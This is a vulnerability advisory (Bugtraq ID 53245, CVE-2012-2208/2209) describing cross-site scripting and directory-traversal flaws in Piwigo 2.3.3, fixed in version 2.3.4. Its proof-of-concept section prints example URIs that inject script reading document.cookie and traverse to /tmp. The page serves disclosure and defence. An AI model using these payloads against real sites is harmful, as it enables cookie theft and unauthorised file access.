Piwigo Multiple Cross Site Scripting and Directory Traversal Vulnerabilities
BID:53245
Info
Piwigo Multiple Cross Site Scripting and Directory Traversal Vulnerabilities
| Bugtraq ID: | 53245 |
| Class: | Input Validation Error |
| CVE: |
CVE-2012-2208 CVE-2012-2209 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 25 2012 12:00AM |
| Updated: | Apr 25 2012 12:00AM |
| Credit: | High-Tech Bridge SA |
| Vulnerable: |
Piwigo Piwigo 2.3.3 |
| Not Vulnerable: |
Piwigo Piwigo 2.3.4 |
Discussion
Piwigo Multiple Cross Site Scripting and Directory Traversal Vulnerabilities
Piwigo is prone to multiple cross-site scripting vulnerabilities and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials. Other harvested information may aid in launching further attacks.
Piwigo 2.3.3 is vulnerable; other versions may also be affected.
Piwigo is prone to multiple cross-site scripting vulnerabilities and a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials. Other harvested information may aid in launching further attacks.
Piwigo 2.3.3 is vulnerable; other versions may also be affected.
Exploit / POC
Piwigo Multiple Cross Site Scripting and Directory Traversal Vulnerabilities
Attackers can exploit the cross-site scripting issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
Cross-site scripting:
http://www.example.com/admin.php?page=configuration&section=%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/admin.php?page=languages_new&installstatus=%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/admin.php?page=theme&theme=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Directory traversal:
http://www.example.com/upgrade.php?language=../../../../../tmp/
Attackers can exploit the cross-site scripting issue by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
Cross-site scripting:
http://www.example.com/admin.php?page=configuration&section=%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/admin.php?page=languages_new&installstatus=%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/admin.php?page=theme&theme=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Directory traversal:
http://www.example.com/upgrade.php?language=../../../../../tmp/
Solution / Fix
Piwigo Multiple Cross Site Scripting and Directory Traversal Vulnerabilities
Solution:
Vendor updates are available. Please see the references for more information.
Solution:
Vendor updates are available. Please see the references for more information.
References
Piwigo Multiple Cross Site Scripting and Directory Traversal Vulnerabilities
References:
References:
- 0002607: Piwigo Security Vulnerabilities Notification (Piwigo)
- Piwigo 2.3.4 Release Notes (Piwigo)
- Piwigo Homepage (Piwigo)
- Multiple vulnerabilities in Piwigo ([email protected] )
- Multiple vulnerabilities in Piwigo (High-Tech Bridge SA)